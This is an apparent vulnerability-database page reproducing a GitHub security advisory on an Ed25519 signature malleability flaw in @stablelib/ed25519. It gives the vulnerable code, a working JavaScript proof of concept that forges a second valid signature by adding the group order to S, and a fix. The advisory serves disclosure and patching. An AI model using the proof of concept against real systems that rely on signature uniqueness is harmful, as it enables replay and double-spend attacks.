GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration

GHSA-X3FF-W252-2G7J

Vulnerability from github – Published: 2026-04-01 22:13 – Updated: 2026-04-07 14:23
VLAI
Summary
StableLib Ed25519 Signature Malleability via Missing S < L Check
Details

Ed25519 Signature Malleability via Missing S < L Check -- Same Class as node-forge CVE-2026-33895 (CWE-347)

Target

  • Repository: StableLib/stablelib (package: @stablelib/ed25519)
  • Platform: GitHub PVR
  • Bounty: CVE credit
  • CWE: CWE-347 (Improper Verification of Cryptographic Signature)
  • Version: 2.0.2 (latest, 2026-03-28)

Root Cause

The verify() function in @stablelib/ed25519 does not check that the S component of the signature is less than the group order L. Per CFRG recommendations and the ZIP-215 specification, Ed25519 implementations should reject signatures where S >= L to prevent signature malleability.

When S >= L, [S]B = [(S mod L)]B = [(S - L)]B, meaning two different 32-byte S values produce the same verification result. An attacker who observes a valid signature (R, S) can produce a second valid signature (R, S + L) for the same message.

Vulnerable code

File: packages/ed25519/ed25519.ts (compiled: lib/ed25519.js:779-802)

export function verify(publicKey, message, signature) {
    // ... length check, unpack public key ...
    const hs = new SHA512();
    hs.update(signature.subarray(0, 32));   // R
    hs.update(publicKey);                   // A
    hs.update(message);                     // M
    const h = hs.digest();
    reduce(h);                              // h is reduced mod L
    scalarmult(p, q, h);                    // [h](-A)
    scalarbase(q, signature.subarray(32));  // [S]B -- S NOT checked or reduced
    edadd(p, q);
    pack(t, p);
    if (verify32(signature, t)) {           // compare R
        return false;
    }
    return true;
}

Note that h is properly reduce()d (line 794), but S (signature bytes 32-63) is passed directly to scalarbase() without any range check.

Proof of Concept

const ed = require('@stablelib/ed25519');

const kp = ed.generateKeyPair();
const msg = new TextEncoder().encode("Hello, world!");
const sig = ed.sign(kp.secretKey, msg);

console.log("Original valid:", ed.verify(kp.publicKey, msg, sig)); // true

// Ed25519 group order L
const L = [
  0xed, 0xd3, 0xf5, 0x5c, 0x1a, 0x63, 0x12, 0x58,
  0xd6, 0x9c, 0xf7, 0xa2, 0xde, 0xf9, 0xde, 0x14,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10
];

// Add L to S component to create malleable signature
const malSig = new Uint8Array(64);
malSig.set(sig.subarray(0, 32)); // R unchanged
let carry = 0;
for (let i = 0; i < 32; i++) {
  const sum = sig[32 + i] + L[i] + carry;
  malSig[32 + i] = sum & 0xff;
  carry = sum >> 8;
}

console.log("Malleable valid:", ed.verify(kp.publicKey, msg, malSig)); // true
console.log("Sigs differ:", !sig.every((b, i) => b === malSig[i]));    // true

Output:

Original valid: true
Malleable valid: true
Sigs differ: true

Impact

  • Signature malleability: Given any valid signature, an attacker can produce a second distinct valid signature for the same message without knowing the private key
  • Transaction ID collision: Applications using signature bytes as unique identifiers (e.g., blockchain transaction IDs) are vulnerable to replay/double-spend attacks
  • Deduplication bypass: Systems deduplicating by signature value accept the same message twice with different "signatures"
  • Same vulnerability class as node-forge CVE-2026-33895 (GHSA-q67f-28xg-22rw), rated HIGH

Suggested Fix

Add an S < L check before processing the signature:

// L in little-endian
const L = new Uint8Array([
  0xed, 0xd3, 0xf5, 0x5c, 0x1a, 0x63, 0x12, 0x58,
  0xd6, 0x9c, 0xf7, 0xa2, 0xde, 0xf9, 0xde, 0x14,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10
]);

function scalarLessThanL(s) {
  for (let i = 31; i >= 0; i--) {
    if (s[i] < L[i]) return true;
    if (s[i] > L[i]) return false;
  }
  return false; // equal to L, reject
}

export function verify(publicKey, message, signature) {
    // ... existing checks ...
    if (!scalarLessThanL(signature.subarray(32))) {
        return false; // S >= L, reject
    }
    // ... rest of verify ...
}

Self-Review

  • Is this by-design? No explicit documentation suggests malleability is intended. The library is described as implementing "Ed25519 public-key signature (EdDSA with Curve25519)" with no caveat about malleability.
  • Is RFC 8032 strict about this? No. RFC 8032 does not require S < L. However, the CFRG recommends it, ZIP-215 requires it, and the node-forge advisory (CVE-2026-33895) treats the identical issue as HIGH severity.
  • Is this already reported? No. No existing issues or CVEs for @stablelib/ed25519 regarding malleability or S < L.
  • Honest weaknesses: (1) RFC 8032 does not strictly require S < L. (2) Not all applications are affected -- only those depending on signature uniqueness. (3) This is malleability, not forgery -- the attacker cannot sign new messages. (4) tweetnacl has the same issue and considers it a known limitation.
  • CVSS: Medium (5.3). AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N -- can produce alternate valid signatures, limited integrity impact.

Solution

Upgrade to version 2.1.0.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@stablelib/ed25519"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "2.0.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-01T22:13:35Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "# Ed25519 Signature Malleability via Missing S \u003c L Check -- Same Class as node-forge CVE-2026-33895 (CWE-347)\n\n## Target\n- Repository: StableLib/stablelib (package: @stablelib/ed25519)\n- Platform: GitHub PVR\n- Bounty: CVE credit\n- CWE: CWE-347 (Improper Verification of Cryptographic Signature)\n- Version: 2.0.2 (latest, 2026-03-28)\n\n## Root Cause\n\nThe `verify()` function in `@stablelib/ed25519` does not check that the `S` component of the signature is less than the group order `L`. Per CFRG recommendations and the ZIP-215 specification, Ed25519 implementations should reject signatures where `S \u003e= L` to prevent signature malleability.\n\nWhen `S \u003e= L`, `[S]B = [(S mod L)]B = [(S - L)]B`, meaning two different 32-byte `S` values produce the same verification result. An attacker who observes a valid signature `(R, S)` can produce a second valid signature `(R, S + L)` for the same message.\n\n### Vulnerable code\n\n**File:** `packages/ed25519/ed25519.ts` (compiled: `lib/ed25519.js:779-802`)\n\n```javascript\nexport function verify(publicKey, message, signature) {\n    // ... length check, unpack public key ...\n    const hs = new SHA512();\n    hs.update(signature.subarray(0, 32));   // R\n    hs.update(publicKey);                   // A\n    hs.update(message);                     // M\n    const h = hs.digest();\n    reduce(h);                              // h is reduced mod L\n    scalarmult(p, q, h);                    // [h](-A)\n    scalarbase(q, signature.subarray(32));  // [S]B -- S NOT checked or reduced\n    edadd(p, q);\n    pack(t, p);\n    if (verify32(signature, t)) {           // compare R\n        return false;\n    }\n    return true;\n}\n```\n\nNote that `h` is properly `reduce()`d (line 794), but `S` (signature bytes 32-63) is passed directly to `scalarbase()` without any range check.\n\n## Proof of Concept\n\n```javascript\nconst ed = require(\u0027@stablelib/ed25519\u0027);\n\nconst kp = ed.generateKeyPair();\nconst msg = new TextEncoder().encode(\"Hello, world!\");\nconst sig = ed.sign(kp.secretKey, msg);\n\nconsole.log(\"Original valid:\", ed.verify(kp.publicKey, msg, sig)); // true\n\n// Ed25519 group order L\nconst L = [\n  0xed, 0xd3, 0xf5, 0x5c, 0x1a, 0x63, 0x12, 0x58,\n  0xd6, 0x9c, 0xf7, 0xa2, 0xde, 0xf9, 0xde, 0x14,\n  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10\n];\n\n// Add L to S component to create malleable signature\nconst malSig = new Uint8Array(64);\nmalSig.set(sig.subarray(0, 32)); // R unchanged\nlet carry = 0;\nfor (let i = 0; i \u003c 32; i++) {\n  const sum = sig[32 + i] + L[i] + carry;\n  malSig[32 + i] = sum \u0026 0xff;\n  carry = sum \u003e\u003e 8;\n}\n\nconsole.log(\"Malleable valid:\", ed.verify(kp.publicKey, msg, malSig)); // true\nconsole.log(\"Sigs differ:\", !sig.every((b, i) =\u003e b === malSig[i]));    // true\n```\n\n**Output:**\n```\nOriginal valid: true\nMalleable valid: true\nSigs differ: true\n```\n\n## Impact\n\n- **Signature malleability**: Given any valid signature, an attacker can produce a second distinct valid signature for the same message without knowing the private key\n- **Transaction ID collision**: Applications using signature bytes as unique identifiers (e.g., blockchain transaction IDs) are vulnerable to replay/double-spend attacks\n- **Deduplication bypass**: Systems deduplicating by signature value accept the same message twice with different \"signatures\"\n- **Same vulnerability class** as node-forge CVE-2026-33895 (GHSA-q67f-28xg-22rw), rated HIGH\n\n## Suggested Fix\n\nAdd an S \u003c L check before processing the signature:\n\n```javascript\n// L in little-endian\nconst L = new Uint8Array([\n  0xed, 0xd3, 0xf5, 0x5c, 0x1a, 0x63, 0x12, 0x58,\n  0xd6, 0x9c, 0xf7, 0xa2, 0xde, 0xf9, 0xde, 0x14,\n  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10\n]);\n\nfunction scalarLessThanL(s) {\n  for (let i = 31; i \u003e= 0; i--) {\n    if (s[i] \u003c L[i]) return true;\n    if (s[i] \u003e L[i]) return false;\n  }\n  return false; // equal to L, reject\n}\n\nexport function verify(publicKey, message, signature) {\n    // ... existing checks ...\n    if (!scalarLessThanL(signature.subarray(32))) {\n        return false; // S \u003e= L, reject\n    }\n    // ... rest of verify ...\n}\n```\n\n## Self-Review\n\n- **Is this by-design?** No explicit documentation suggests malleability is intended. The library is described as implementing \"Ed25519 public-key signature (EdDSA with Curve25519)\" with no caveat about malleability.\n- **Is RFC 8032 strict about this?** No. RFC 8032 does not require S \u003c L. However, the CFRG recommends it, ZIP-215 requires it, and the node-forge advisory (CVE-2026-33895) treats the identical issue as HIGH severity.\n- **Is this already reported?** No. No existing issues or CVEs for @stablelib/ed25519 regarding malleability or S \u003c L.\n- **Honest weaknesses:** (1) RFC 8032 does not strictly require S \u003c L. (2) Not all applications are affected -- only those depending on signature uniqueness. (3) This is malleability, not forgery -- the attacker cannot sign new messages. (4) tweetnacl has the same issue and considers it a known limitation.\n- **CVSS:** Medium (5.3). AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N -- can produce alternate valid signatures, limited integrity impact.\n\n## Solution\n\nUpgrade to version 2.1.0.",
  "id": "GHSA-x3ff-w252-2g7j",
  "modified": "2026-04-07T14:23:20Z",
  "published": "2026-04-01T22:13:35Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/StableLib/stablelib/security/advisories/GHSA-x3ff-w252-2g7j"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/StableLib/stablelib"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "StableLib Ed25519 Signature Malleability via Missing S \u003c L Check"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…